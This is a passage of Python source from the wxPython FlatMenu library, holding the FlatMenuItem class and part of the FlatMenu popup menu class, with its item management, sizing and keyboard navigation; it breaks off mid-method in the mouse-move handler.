FlatMenuItem\n#--------------------------------------------------------\n\nclass FlatMenuItem(object):\n \"\"\"\n A class that represents an item in a menu.\n \"\"\"\n\n def __init__(self, parent, id=wx.ID_SEPARATOR, label=\"\", helpString=\"\",\n kind=wx.ITEM_NORMAL, subMenu=None, normalBmp=wx.NullBitmap,\n disabledBmp=wx.NullBitmap,\n hotBmp=wx.NullBitmap):\n \"\"\"\n Default class constructor.\n\n :param `parent`: menu that the menu item belongs to;\n :param `id`: the menu item identifier;\n :param `label`: text for the menu item, as shown on the menu. An accelerator\n key can be specified using the ampersand '&' character. In order to embed\n an ampersand character in the menu item text, the ampersand must be doubled;\n :param `helpString`: optional help string that will be shown on the status bar;\n :param `kind`: may be ``wx.ITEM_SEPARATOR``, ``wx.ITEM_NORMAL``, ``wx.ITEM_CHECK``\n or ``wx.ITEM_RADIO``;\n :param `subMenu`: if not ``None``, the subMenu this item belongs to;\n :param `normalBmp`: normal bitmap to draw to the side of the text, this bitmap\n is used when the menu is enabled;\n :param `disabledBmp`: 'greyed' bitmap to draw to the side of the text, this\n bitmap is used when the menu is disabled, if none supplied normal is used;\n :param `hotBmp`: hot bitmap to draw to the side of the text, this bitmap is\n used when the menu is hovered, if non supplied, normal is used.\n \"\"\"\n\n self._text = label\n self._kind = kind\n self._helpString = helpString\n\n if id == wx.ID_ANY:\n id = wx.NewId()\n\n self._id = id\n self._parentMenu = parent\n self._subMenu = subMenu\n self._normalBmp = normalBmp\n self._disabledBmp = disabledBmp\n self._hotBmp = hotBmp\n self._bIsChecked = False\n self._bIsEnabled = True\n self._mnemonicIdx = wx.NOT_FOUND\n self._isAttachedToMenu = False\n self._accelStr = \"\"\n self._rect = wx.Rect()\n self._groupPtr = None\n self._visible = False\n self._contextMenu = None\n\n self.SetLabel(self._text)\n self.SetMenuBar()\n\n self._checkMarkBmp = wx.BitmapFromXPMData(check_mark_xpm)\n self._checkMarkBmp.SetMask(wx.Mask(self._checkMarkBmp, wx.WHITE))\n self._radioMarkBmp = wx.BitmapFromXPMData(radio_item_xpm)\n self._radioMarkBmp.SetMask(wx.Mask(self._radioMarkBmp, wx.WHITE))\n\n \n def SetLongHelp(self, help):\n \"\"\"\n Sets the item long help string (displayed in the parent frame `wx.StatusBar`).\n\n :param `help`: the new item long help string.\n \"\"\"\n\n self._helpString = help\n \n\n def GetLongHelp(self):\n \"\"\" Returns the item long help string (displayed in the parent frame `wx.StatusBar`). \"\"\"\n\n return self._helpString\n\n\n def GetShortHelp(self):\n \"\"\" Returns the item short help string (displayed in the tool's tooltip). \"\"\"\n\n return \"\"\n \n\n def Enable(self, enable=True):\n \"\"\"\n Enables or disables a menu item.\n\n :param `enable`: ``True`` to enable the menu item, ``False`` to disable it.\n \"\"\"\n\n self._bIsEnabled = enable\n if self._parentMenu:\n self._parentMenu.UpdateItem(self)\n\n\n def GetBitmap(self):\n \"\"\"\n Returns the normal bitmap associated to the menu item or `wx.NullBitmap` if\n none has been supplied.\n \"\"\"\n\n return self._normalBmp \n\n\n def GetDisabledBitmap(self):\n \"\"\"\n Returns the disabled bitmap associated to the menu item or `wx.NullBitmap`\n if none has been supplied.\n \"\"\"\n\n return self._disabledBmp \n\n\n def GetHotBitmap(self):\n \"\"\"\n Returns the hot bitmap associated to the menu item or `wx.NullBitmap` if\n none has been supplied.\n \"\"\"\n\n return self._hotBmp \n\n \n def GetHelp(self):\n \"\"\" Returns the item help string. \"\"\"\n\n return self._helpString \n\n\n def GetId(self):\n \"\"\" Returns the item id. \"\"\"\n\n return self._id \n\n\n def GetKind(self):\n \"\"\"\n Returns the menu item kind, can be one of ``wx.ITEM_SEPARATOR``, ``wx.ITEM_NORMAL``,\n ``wx.ITEM_CHECK`` or ``wx.ITEM_RADIO``.\n \"\"\"\n\n return self._kind \n\n\n def GetLabel(self):\n \"\"\" Returns the menu item label (without the accelerator if it is part of the string). \"\"\"\n\n return self._label \n\n\n def GetMenu(self):\n \"\"\" Returns the parent menu. \"\"\"\n\n return self._parentMenu \n\n\n def GetContextMenu(self):\n \"\"\" Returns the context menu associated with this item (if any). \"\"\"\n\n return self._contextMenu\n\n\n def SetContextMenu(self, context_menu):\n \"\"\"\n Assigns a context menu to this item.\n\n :param `context_menu`: an instance of L{FlatMenu}.\n \"\"\"\n\n self._contextMenu = context_menu\n \n\n def GetText(self):\n \"\"\" Returns the text associated with the menu item including the accelerator. \"\"\"\n\n return self._text \n\n\n def GetSubMenu(self):\n \"\"\" Returns the sub-menu of this menu item (if any). \"\"\"\n\n return self._subMenu\n\n\n def IsCheckable(self):\n \"\"\" Returns ``True`` if this item is of type ``wx.ITEM_CHECK``, ``False`` otherwise. \"\"\"\n\n return self._kind == wx.ITEM_CHECK\n\n\n def IsChecked(self):\n \"\"\"\n Returns whether an item is checked or not.\n\n :note: This method is meaningful only for items of kind ``wx.ITEM_CHECK`` or\n ``wx.ITEM_RADIO``.\n \"\"\"\n\n return self._bIsChecked \n\n\n def IsRadioItem(self):\n \"\"\" Returns ``True`` if this item is of type ``wx.ITEM_RADIO``, ``False`` otherwise. \"\"\"\n\n return self._kind == wx.ITEM_RADIO\n\n\n def IsEnabled(self):\n \"\"\" Returns whether an item is enabled or not. \"\"\"\n\n return self._bIsEnabled \n\n\n def IsSeparator(self):\n \"\"\" Returns ``True`` if this item is of type ``wx.ITEM_SEPARATOR``, ``False`` otherwise. \"\"\"\n\n return self._id == wx.ID_SEPARATOR\n \n\n def IsSubMenu(self):\n \"\"\" Returns whether an item is a sub-menu or not. \"\"\"\n\n return self._subMenu != None\n \n\n def SetNormalBitmap(self, bmp):\n \"\"\"\n Sets the menu item normal bitmap.\n\n :param `bmp`: an instance of `wx.Bitmap`.\n \"\"\"\n\n self._normalBmp = bmp \n\n\n def SetDisabledBitmap(self, bmp):\n \"\"\"\n Sets the menu item disabled bitmap.\n\n :param `bmp`: an instance of `wx.Bitmap`.\n \"\"\"\n\n self._disabledBmp = bmp \n\n\n def SetHotBitmap(self, bmp):\n \"\"\"\n Sets the menu item hot bitmap.\n\n :param `bmp`: an instance of `wx.Bitmap`.\n \"\"\"\n\n self._hotBmp = bmp \n\n\n def SetHelp(self, helpString):\n \"\"\"\n Sets the menu item help string.\n\n :param `helpString`: the new menu item help string.\n \"\"\"\n\n self._helpString = helpString \n\n\n def SetMenu(self, menu):\n \"\"\"\n Sets the menu item parent menu.\n\n :param `menu`: an instance of L{FlatMenu}.\n \"\"\"\n\n self._parentMenu = menu \n\n\n def SetSubMenu(self, menu):\n \"\"\"\n Sets the menu item sub-menu.\n\n :param `menu`: an instance of L{FlatMenu}.\n \"\"\"\n\n self._subMenu = menu\n \n # Fix toolbar update\n self.SetMenuBar()\n\n\n def GetAccelString(self):\n \"\"\" Returns the accelerator string. \"\"\"\n\n return self._accelStr \n\n\n def SetRect(self, rect):\n \"\"\"\n Sets the menu item client rectangle.\n\n :param `rect`: the menu item client rectangle.\n \"\"\"\n\n self._rect = rect \n\n\n def GetRect(self):\n \"\"\" Returns the menu item client rectangle. \"\"\"\n\n return self._rect \n\n\n def IsShown(self):\n \"\"\" Returns whether an item is shown or not. \"\"\"\n\n return self._visible\n\n\n def Show(self, show=True):\n \"\"\"\n Actually shows/hides the menu item.\n\n :param `show`: ``True`` to show the menu item, ``False`` to hide it.\n \"\"\"\n\n self._visible = show\n\n def GetHeight(self):\n \"\"\" Returns the menu item height. \"\"\"\n\n if self.IsSeparator():\n return self._parentMenu.GetRenderer().separatorHeight\n else:\n return self._parentMenu._itemHeight\n\n\n def GetSuitableBitmap(self, selected):\n \"\"\"\n Gets the bitmap that should be used based on the item state.\n\n :param `selected`: ``True`` if this menu item is currentl hovered by the mouse,\n ``False`` otherwise.\n \"\"\"\n\n normalBmp = self._normalBmp\n gBmp = (self._disabledBmp.Ok() and [self._disabledBmp] or [self._normalBmp])[0]\n hotBmp = (self._hotBmp.Ok() and [self._hotBmp] or [self._normalBmp])[0]\n\n if not self.IsEnabled():\n return gBmp\n elif selected:\n return hotBmp\n else:\n return normalBmp\n\n\n def SetLabel(self, text):\n \"\"\"\n Sets the label text for this item from the text (excluding the accelerator).\n\n :param `text`: the new item label (excluding the accelerator).\n \"\"\"\n \n if text:\n\n indx = text.find(\"\\t\")\n if indx >= 0:\n self._accelStr = text[indx+1:]\n label = text[0:indx]\n else:\n self._accelStr = \"\"\n label = text\n\n self._mnemonicIdx, self._label = GetAccelIndex(label)\n \n else:\n \n self._mnemonicIdx = wx.NOT_FOUND\n self._label = \"\"\n\n if self._parentMenu:\n self._parentMenu.UpdateItem(self)\n\n\n def SetText(self, text):\n \"\"\"\n Sets the text for this menu item (including accelerators).\n\n :param `text`: the new item label (including the accelerator).\n \"\"\"\n \n self._text = text\n self.SetLabel(self._text)\n\n\n def SetMenuBar(self):\n \"\"\" Links the current menu item with the main L{FlatMenuBar}. \"\"\"\n\n # Fix toolbar update\n if self._subMenu and self._parentMenu:\n self._subMenu.SetSubMenuBar(self._parentMenu.GetMenuBarForSubMenu())\n\n\n def GetAcceleratorEntry(self):\n \"\"\" Returns the accelerator entry associated to this menu item. \"\"\"\n\n return wx.GetAccelFromString(self.GetText())\n\n\n def GetMnemonicChar(self):\n \"\"\" Returns the shortcut char for this menu item. \"\"\"\n\n if self._mnemonicIdx == wx.NOT_FOUND:\n return 0\n\n mnemonic = self._label[self._mnemonicIdx]\n return mnemonic.lower()\n\n\n def Check(self, check=True):\n \"\"\"\n Checks or unchecks the menu item.\n\n :param `check`: ``True`` to check the menu item, ``False`` to uncheck it.\n\n :note: This method is meaningful only for menu items of ``wx.ITEM_CHECK``\n or ``wx.ITEM_RADIO`` kind.\n \"\"\"\n \n if self.IsRadioItem() and not self._isAttachedToMenu:\n \n # radio items can be checked only after they are attached to menu\n return\n \n self._bIsChecked = check\n \n # update group\n if self.IsRadioItem() and check:\n self._groupPtr.SetSelection(self)\n\n # Our parent menu might want to do something with this change\n if self._parentMenu:\n self._parentMenu.UpdateItem(self)\n\n\n#--------------------------------------------------------\n# Class FlatMenu\n#--------------------------------------------------------\n\nclass FlatMenu(FlatMenuBase):\n \"\"\"\n A Flat popup menu generic implementation.\n \"\"\"\n \n def __init__(self, parent=None):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{FlatMenu} parent window (used to initialize the\n underlying L{ShadowPopupWindow}).\n \"\"\"\n \n self._menuWidth = 2*26\n self._leftMarginWidth = 26\n self._rightMarginWidth = 30\n self._borderXWidth = 1\n self._borderYWidth = 2\n self._activeWin = None\n self._focusWin = None\n self._imgMarginX = 0\n self._markerMarginX = 0\n self._textX = 26\n self._rightMarginPosX = -1\n self._itemHeight = 20\n self._selectedItem = -1\n self._clearCurrentSelection = True\n self._textPadding = 8\n self._marginHeight = 20\n self._marginWidth = 26\n self._accelWidth = 0\n self._mb = None\n self._itemsArr = []\n self._accelArray = []\n self._ptLast = wx.Point()\n self._resizeMenu = True\n self._shiftePos = 0\n self._first = 0\n self._mb_submenu = 0\n self._is_dismiss = False\n self._numCols = 1\n\n FlatMenuBase.__init__(self, parent) \n\n self.SetSize(wx.Size(self._menuWidth, self._itemHeight+4))\n\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n self.Bind(wx.EVT_MOTION, self.OnMouseMove)\n self.Bind(wx.EVT_ENTER_WINDOW, self.OnMouseEnterWindow)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouseLeaveWindow)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnMouseLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnMouseLeftUp)\n self.Bind(wx.EVT_LEFT_DCLICK, self.OnMouseLeftDown)\n self.Bind(wx.EVT_RIGHT_DOWN, self.OnMouseRightDown)\n self.Bind(wx.EVT_KILL_FOCUS, self.OnKillFocus)\n self.Bind(wx.EVT_TIMER, self.OnTimer)\n\n\n def SetMenuBar(self, mb):\n \"\"\"\n Attaches this menu to a menubar.\n\n :param `mb`: an instance of L{FlatMenuBar}.\n \"\"\"\n\n self._mb = mb\n\n\n def SetSubMenuBar(self, mb):\n \"\"\"\n Attaches this menu to a menubar.\n\n :param `mb`: an instance of L{FlatMenuBar}.\n \"\"\"\n\n self._mb_submenu = mb\n\n\n def GetMenuBar(self):\n \"\"\" Returns the menubar associated with this menu item. \"\"\"\n\n if self._mb_submenu:\n return self._mb_submenu\n\n return self._mb\n\n\n def GetMenuBarForSubMenu(self):\n \"\"\" Returns the menubar associated with this menu item. \"\"\"\n\n return self._mb\n \n \n def Popup(self, pt, owner=None, parent=None):\n \"\"\"\n Pops up the menu.\n\n :param `pt`: the point at which the menu should be popped up (an instance\n of `wx.Point`);\n :param `owner`: the owner of the menu. The owner does not necessarly mean the\n menu parent, it can also be the window that popped up it;\n :param `parent`: the menu parent window.\n \"\"\"\n\n if \"__WXMSW__\" in wx.Platform:\n self._mousePtAtStartup = wx.GetMousePosition()\n\n # each time we popup, need to reset the starting index\n self._first = 0\n \n # Loop over self menu and send update UI event for\n # every item in the menu\n numEvents = len(self._itemsArr)\n cc = 0\n self._shiftePos = 0\n\n # Set the owner of the menu. All events will be directed to it.\n # If owner is None, the Default GetParent() is used as the owner\n self._owner = owner\n\n for cc in xrange(numEvents):\n self.SendUIEvent(cc)\n\n # Adjust menu position and show it\n FlatMenuBase.Popup(self, pt, parent)\n\n artMgr = ArtManager.Get()\n artMgr.MakeWindowTransparent(self, artMgr.GetTransparency())\n\n # Replace the event handler of the active window to direct\n # all keyboard events to us and the focused window to direct char events to us\n self._activeWin = wx.GetActiveWindow()\n if self._activeWin:\n \n oldHandler = self._activeWin.GetEventHandler()\n newEvtHandler = MenuKbdRedirector(self, oldHandler)\n self._activeWin.PushEventHandler(newEvtHandler)\n \n if \"__WXMSW__\" in wx.Platform:\n self._focusWin = wx.Window.FindFocus()\n elif \"__WXGTK__\" in wx.Platform:\n self._focusWin = self\n else:\n self._focusWin = None\n\n if self._focusWin:\n newEvtHandler = FocusHandler(self)\n self._focusWin.PushEventHandler(newEvtHandler)\n\n \n def Append(self, id, item, helpString=\"\", kind=wx.ITEM_NORMAL):\n \"\"\"\n Appends an item to this menu.\n\n :param `id`: the menu item identifier;\n :param `item`: the string to appear on the menu item;\n :param `helpString`: an optional help string associated with the item. By default,\n the handler for the ``EVT_FLAT_MENU_ITEM_MOUSE_OVER`` event displays this string\n in the status line;\n :param `kind`: may be ``wx.ITEM_NORMAL`` for a normal button (default),\n ``wx.ITEM_CHECK`` for a checkable tool (such tool stays pressed after it had been\n toggled) or ``wx.ITEM_RADIO`` for a checkable tool which makes part of a radio\n group of tools each of which is automatically unchecked whenever another button\n in the group is checked;\n \"\"\"\n\n newItem = FlatMenuItem(self, id, item, helpString, kind)\n return self.AppendItem(newItem)\n \n \n def Prepend(self, id, item, helpString=\"\", kind=wx.ITEM_NORMAL):\n \"\"\"\n Prepends an item to this menu.\n\n :param `id`: the menu item identifier;\n :param `item`: the string to appear on the menu item;\n :param `helpString`: an optional help string associated with the item. By default,\n the handler for the ``EVT_FLAT_MENU_ITEM_MOUSE_OVER`` event displays this string\n in the status line;\n :param `kind`: may be ``wx.ITEM_NORMAL`` for a normal button (default),\n ``wx.ITEM_CHECK`` for a checkable tool (such tool stays pressed after it had been\n toggled) or ``wx.ITEM_RADIO`` for a checkable tool which makes part of a radio\n group of tools each of which is automatically unchecked whenever another button\n in the group is checked;\n \"\"\"\n\n newItem = FlatMenuItem(self, id, item, helpString, kind)\n return self.PrependItem(newItem)\n\n\n def AppendSubMenu(self, subMenu, item, helpString=\"\"):\n \"\"\"\n Adds a pull-right submenu to the end of the menu.\n \n This function is added to duplicate the API of `wx.Menu`.\n\n :see: L{AppendMenu} for an explanation of the input parameters. \n \"\"\"\n \n return self.AppendMenu(wx.ID_ANY, item, subMenu, helpString)\n \n \n def AppendMenu(self, id, item, subMenu, helpString=\"\"):\n \"\"\"\n Adds a pull-right submenu to the end of the menu.\n\n :param `id`: the menu item identifier;\n :param `item`: the string to appear on the menu item;\n :param `subMenu`: an instance of L{FlatMenu}, the submenu to append;\n :param `helpString`: an optional help string associated with the item. By default,\n the handler for the ``EVT_FLAT_MENU_ITEM_MOUSE_OVER`` event displays this string\n in the status line.\n \"\"\"\n\n newItem = FlatMenuItem(self, id, item, helpString, wx.ITEM_NORMAL, subMenu)\n return self.AppendItem(newItem)\n\n\n def AppendItem(self, menuItem):\n \"\"\"\n Appends an item to this menu.\n\n :param `menuItem`: an instance of L{FlatMenuItem}.\n \"\"\"\n \n self._itemsArr.append(menuItem)\n return self.AddItem(menuItem)\n \n \n def PrependItem(self, menuItem):\n \"\"\"\n Prepends an item to this menu.\n\n :param `menuItem`: an instance of L{FlatMenuItem}.\n \"\"\"\n \n self._itemsArr.insert(0,menuItem)\n return self.AddItem(menuItem)\n \n\n def AddItem(self, menuItem):\n \"\"\"\n Internal function to add the item to this menu. The item must\n already be in self._itemsArr.\n\n :param `menuItem`: an instance of L{FlatMenuItem}.\n \"\"\"\n\n if not menuItem:\n raise Exception(\"Adding None item?\")\n \n # Reparent to us\n menuItem.SetMenu(self) \n menuItem._isAttachedToMenu = True\n\n # Update the menu width if necessary\n menuItemWidth = self.GetMenuItemWidth(menuItem)\n self._menuWidth = (self._menuWidth > menuItemWidth + self._accelWidth and \\\n [self._menuWidth] or [menuItemWidth + self._accelWidth])[0]\n\n menuHeight = 0\n switch = 1e6\n \n if self._numCols > 1:\n nItems = len(self._itemsArr)\n switch = int(math.ceil((nItems - self._first)/float(self._numCols)))\n \n for indx, item in enumerate(self._itemsArr):\n\n if indx >= switch:\n break\n \n if item.IsSeparator():\n menuHeight += self.GetRenderer().separatorHeight\n else:\n menuHeight += self._itemHeight\n \n self.SetSize(wx.Size(self._menuWidth*self._numCols, menuHeight+4))\n\n # Add accelerator entry to the menu if needed\n accel = menuItem.GetAcceleratorEntry()\n \n if accel:\n accel.Set(accel.GetFlags(), accel.GetKeyCode(), menuItem.GetId())\n self._accelArray.append(accel) \n\n self.UpdateRadioGroup(menuItem)\n\n return menuItem\n\n\n def GetMenuItems(self):\n \"\"\" Returns the list of menu items in the menu. \"\"\"\n\n return self._itemsArr\n \n\n def GetMenuItemWidth(self, menuItem):\n \"\"\"\n Returns the width of a particular item.\n\n :param `menuItem`: an instance of L{FlatMenuItem}.\n \"\"\"\n\n menuItemWidth = 0\n text = menuItem.GetLabel() # Without accelerator\n accel = menuItem.GetAccelString()\n\n dc = wx.ClientDC(self)\n\n font = ArtManager.Get().GetFont()\n dc.SetFont(font)\n\n accelFiller = \"XXXX\" # 4 spaces betweem text and accel column\n\n # Calc text length/height\n dummy, itemHeight = dc.GetTextExtent(\"Tp\")\n width, height = dc.GetTextExtent(text)\n accelWidth, accelHeight = dc.GetTextExtent(accel)\n filler, dummy = dc.GetTextExtent(accelFiller)\n \n bmpHeight = bmpWidth = 0\n \n if menuItem.GetBitmap().Ok():\n bmpHeight = menuItem.GetBitmap().GetHeight()\n bmpWidth = menuItem.GetBitmap().GetWidth()\n \n if itemHeight < self._marginHeight:\n itemHeight = self._marginHeight\n\n itemHeight = (bmpHeight > self._itemHeight and [bmpHeight] or [itemHeight])[0]\n itemHeight += 2*self._borderYWidth\n\n # Update the global menu item height if needed\n self._itemHeight = (self._itemHeight > itemHeight and [self._itemHeight] or [itemHeight])[0]\n self._marginWidth = (self._marginWidth > bmpWidth and [self._marginWidth] or [bmpWidth])[0]\n\n # Update the accel width\n accelWidth += filler\n if accel:\n self._accelWidth = (self._accelWidth > accelWidth and [self._accelWidth] or [accelWidth])[0]\n\n # In case the item has image & is type radio or check, we need double size\n # left margin\n factor = (((menuItem.GetBitmap() != wx.NullBitmap) and \\\n (menuItem.IsCheckable() or (menuItem.GetKind() == wx.ITEM_RADIO))) and [2] or [1])[0]\n \n if factor == 2:\n \n self._imgMarginX = self._marginWidth + 2*self._borderXWidth\n self._leftMarginWidth = 2 * self._marginWidth + 2*self._borderXWidth\n \n else:\n \n self._leftMarginWidth = ((self._leftMarginWidth > self._marginWidth + 2*self._borderXWidth) and \\\n [self._leftMarginWidth] or [self._marginWidth + 2*self._borderXWidth])[0]\n \n menuItemWidth = self.GetLeftMarginWidth() + 2*self.GetBorderXWidth() + width + self.GetRightMarginWidth()\n self._textX = self._imgMarginX + self._marginWidth + self._textPadding\n\n # update the rightMargin X position\n self._rightMarginPosX = ((self._textX + width + self._accelWidth> self._rightMarginPosX) and \\\n [self._textX + width + self._accelWidth] or [self._rightMarginPosX])[0]\n \n return menuItemWidth\n\n\n def GetMenuWidth(self):\n \"\"\" Returns the menu width. \"\"\"\n\n return self._menuWidth\n \n \n def GetLeftMarginWidth(self):\n \"\"\" Returns the menu left margin width. \"\"\"\n\n return self._leftMarginWidth\n\n \n def GetRightMarginWidth(self):\n \"\"\" Returns the menu right margin width. \"\"\"\n\n return self._rightMarginWidth\n\n \n def GetBorderXWidth(self):\n \"\"\" Returns the menu border x-width. \"\"\"\n\n return self._borderXWidth\n\n\n def GetBorderYWidth(self):\n \"\"\" Returns the menu border y-width. \"\"\"\n\n return self._borderYWidth\n\n \n def GetItemHeight(self):\n \"\"\" Returns the height of a particular item. \"\"\"\n\n return self._itemHeight\n\n\n def AppendCheckItem(self, id, item, helpString=\"\"):\n \"\"\"\n Adds a checkable item to the end of the menu.\n\n :see: L{Append} for the explanation of the input parameters. \n \"\"\"\n\n newItem = FlatMenuItem(self, id, item, helpString, wx.ITEM_CHECK)\n return self.AppendItem(newItem)\n\n\n def AppendRadioItem(self, id, item, helpString=\"\"):\n \"\"\"\n Adds a radio item to the end of the menu.\n All consequent radio items form a group and when an item in the group is\n checked, all the others are automatically unchecked.\n\n :see: L{Append} for the explanation of the input parameters. \n \"\"\"\n \n newItem = FlatMenuItem(self, id, item, helpString, wx.ITEM_RADIO)\n return self.AppendItem(newItem)\n\n\n def AppendSeparator(self):\n \"\"\" Appends a separator item to teh end of this menu. \"\"\"\n \n newItem = FlatMenuItem(self)\n return self.AppendItem(newItem)\n\n\n def InsertSeparator(self, pos):\n \"\"\"\n Inserts a separator at the given position.\n\n :param `pos`: the index at which we want to insert the separator. \n \"\"\"\n\n newItem = FlatMenuItem(self)\n return self.Insert(pos, newItem)\n\n\n def Dismiss(self, dismissParent, resetOwner):\n \"\"\"\n Dismisses the popup window.\n\n :param `dismissParent`: whether to dismiss the parent menu or not;\n :param `resetOwner`: ``True`` to delete the link between this menu and the\n owner menu, ``False`` otherwise. \n \"\"\"\n\n if self._activeWin:\n \n self._activeWin.PopEventHandler(True)\n self._activeWin = None\n\n if self._focusWin:\n \n self._focusWin.PopEventHandler(True)\n self._focusWin = None\n \n self._selectedItem = -1\n \n if self._mb:\n self._mb.RemoveHelp() \n\n FlatMenuBase.Dismiss(self, dismissParent, resetOwner)\n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{FlatMenu}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n \n dc = wx.PaintDC(self)\n self.GetRenderer().DrawMenu(self, dc)\n\n # We need to redraw all our child menus\n self.RefreshChilds()\n\n\n def UpdateItem(self, item):\n \"\"\"\n Updates an item.\n\n :param `item`: an instance of L{FlatMenuItem}.\n \"\"\"\n\n # notify menu bar that an item was modified directly\n if item and self._mb:\n self._mb.UpdateItem(item)\n\n\n def OnEraseBackground(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{FlatMenu}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n\n :note: This method is intentionally empty to avoid flicker. \n \"\"\"\n\n pass\n\n \n def DrawSelection(self, dc, oldSelection=-1):\n \"\"\"\n Redraws the menu.\n\n :param `dc`: an instance of `wx.DC`;\n :param `oldSelection`: if >= 0, the index representing the previous selected\n menu item.\n \"\"\"\n\n self.Refresh()\n \n\n def RefreshChilds(self):\n \"\"\"\n In some cases, we need to perform a recursive refresh for all opened submenu\n from this.\n \"\"\"\n\n # Draw all childs menus of self menu as well\n child = self._openedSubMenu\n while child:\n dc = wx.ClientDC(child)\n self.GetRenderer().DrawMenu(child, dc)\n child = child._openedSubMenu\n\n\n def GetMenuRect(self):\n \"\"\" Returns the menu client rectangle. \"\"\"\n\n clientRect = self.GetClientRect()\n return wx.Rect(clientRect.x, clientRect.y, clientRect.width, clientRect.height)\n\n\n def OnKeyDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_KEY_DOWN`` event for L{FlatMenu}.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n \"\"\"\n\n self.OnChar(event.GetKeyCode())\n\n\n def OnChar(self, key):\n \"\"\"\n Handles key events for L{FlatMenu}.\n\n :param `key`: the keyboard key integer code.\n \"\"\"\n \n processed = True\n\n if key == wx.WXK_ESCAPE:\n\n if self._parentMenu:\n self._parentMenu.CloseSubMenu(-1)\n else:\n self.Dismiss(True, True)\n\n elif key == wx.WXK_LEFT:\n\n if self._parentMenu:\n # We are a submenu, dismiss us.\n self._parentMenu.CloseSubMenu(-1)\n else: \n # try to find our root menu, if we are attached to menubar,\n # let it try and open the previous menu\n root = self.GetRootMenu()\n if root:\n if root._mb:\n root._mb.ActivatePreviousMenu()\n \n elif key == wx.WXK_RIGHT:\n\n if not self.TryOpenSubMenu(self._selectedItem, True):\n # try to find our root menu, if we are attached to menubar,\n # let it try and open the previous menu\n root = self.GetRootMenu()\n if root:\n if root._mb:\n root._mb.ActivateNextMenu()\n \n elif key == wx.WXK_UP:\n self.AdvanceSelection(False)\n \n elif key == wx.WXK_DOWN:\n \n self.AdvanceSelection()\n\n elif key in [wx.WXK_RETURN, wx.WXK_NUMPAD_ENTER]:\n self.DoAction(self._selectedItem)\n \n elif key == wx.WXK_HOME:\n \n # Select first item of the menu\n if self._selectedItem != 0:\n oldSel = self._selectedItem\n self._selectedItem = 0\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSel)\n\n elif key == wx.WXK_END:\n \n # Select last item of the menu\n if self._selectedItem != len(self._itemsArr)-1:\n oldSel = self._selectedItem\n self._selectedItem = len(self._itemsArr)-1\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSel)\n \n elif key in [wx.WXK_CONTROL, wx.WXK_ALT]:\n # Alt was pressed\n root = self.GetRootMenu()\n root.Dismiss(False, True)\n \n else:\n try:\n chrkey = chr(key)\n except:\n return processed\n \n if chrkey.isalnum():\n \n ch = chrkey.lower()\n\n # Iterate over all the menu items \n itemIdx = -1\n occur = 0\n \n for i in xrange(len(self._itemsArr)):\n \n item = self._itemsArr[i]\n mnemonic = item.GetMnemonicChar()\n\n if mnemonic == ch:\n \n if itemIdx == -1:\n \n itemIdx = i\n # We keep the index of only \n # the first occurence\n \n occur += 1\n\n # Keep on looping until no more items for self menu\n \n if itemIdx != -1:\n \n if occur > 1:\n \n # We select the first item\n if self._selectedItem == itemIdx:\n return processed\n\n oldSel = self._selectedItem\n self._selectedItem = itemIdx\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSel)\n \n elif occur == 1:\n \n # Activate the item, if self is a submenu item we first select it\n item = self._itemsArr[itemIdx]\n if item.IsSubMenu() and self._selectedItem != itemIdx:\n \n oldSel = self._selectedItem\n self._selectedItem = itemIdx\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSel)\n \n self.DoAction(itemIdx)\n \n else:\n \n processed = False\n \n return processed\n\n\n def AdvanceSelection(self, down=True):\n \"\"\"\n Advance forward or backward the current selection.\n\n :param `down`: ``True`` to advance the selection forward, ``False`` otherwise.\n \"\"\"\n\n # make sure we have at least two items in the menu (which are not \n # separators)\n num=0\n singleItemIdx = -1\n\n for i in xrange(len(self._itemsArr)):\n \n item = self._itemsArr[i]\n if item.IsSeparator():\n continue\n num += 1\n singleItemIdx = i\n \n if num < 1:\n return\n\n if num == 1: \n # Select the current one\n self._selectedItem = singleItemIdx\n dc = wx.ClientDC(self)\n self.DrawSelection(dc, -1)\n return\n\n oldSelection = self._selectedItem\n \n if not down:\n \n # find the next valid item\n while 1:\n \n self._selectedItem -= 1\n if self._selectedItem < 0:\n self._selectedItem = len(self._itemsArr)-1\n if not self._itemsArr[self._selectedItem].IsSeparator():\n break\n \n else:\n \n # find the next valid item\n while 1:\n \n self._selectedItem += 1\n if self._selectedItem > len(self._itemsArr)-1:\n self._selectedItem = 0\n if not self._itemsArr[self._selectedItem].IsSeparator():\n break\n \n dc = wx.ClientDC(self)\n self.DrawSelection(dc, oldSelection)\n\n\n def HitTest(self, pos):\n \"\"\"\n HitTest method for L{FlatMenu}.\n\n :param `pos`: an instance of `wx.Point`, a point to test for hits.\n \"\"\"\n\n if self._showScrollButtons:\n\n if self._upButton and self._upButton.GetClientRect().Contains(pos):\n return MENU_HT_SCROLL_UP, -1\n \n if self._downButton and self._downButton.GetClientRect().Contains(pos):\n return MENU_HT_SCROLL_DOWN, -1\n\n for ii, item in enumerate(self._itemsArr):\n \n if item.GetRect().Contains(pos) and item.IsEnabled() and item.IsShown():\n return MENU_HT_ITEM, ii\n \n return MENU_HT_NONE, -1\n\n\n def OnMouseMove(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for L{FlatMenu}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if \"__WXMSW__\" in wx.Platform:\n # Ignore dummy mouse move events\n pt = wx.GetMousePosition()\n if self._mousePtAtStartup == pt:\n return\n \n pos = event.GetPosition()\n\n # we need to ignore extra mouse events: example when this happens is when\n # the mouse is on the menu and we open a submenu from keyboard - Windows\n # then sends us a dummy mouse move event, we (correctly) determine that it\n # happens in the parent menu and so immediately close the just opened\n # submenunot\n \n if \"__WXMSW__\" in 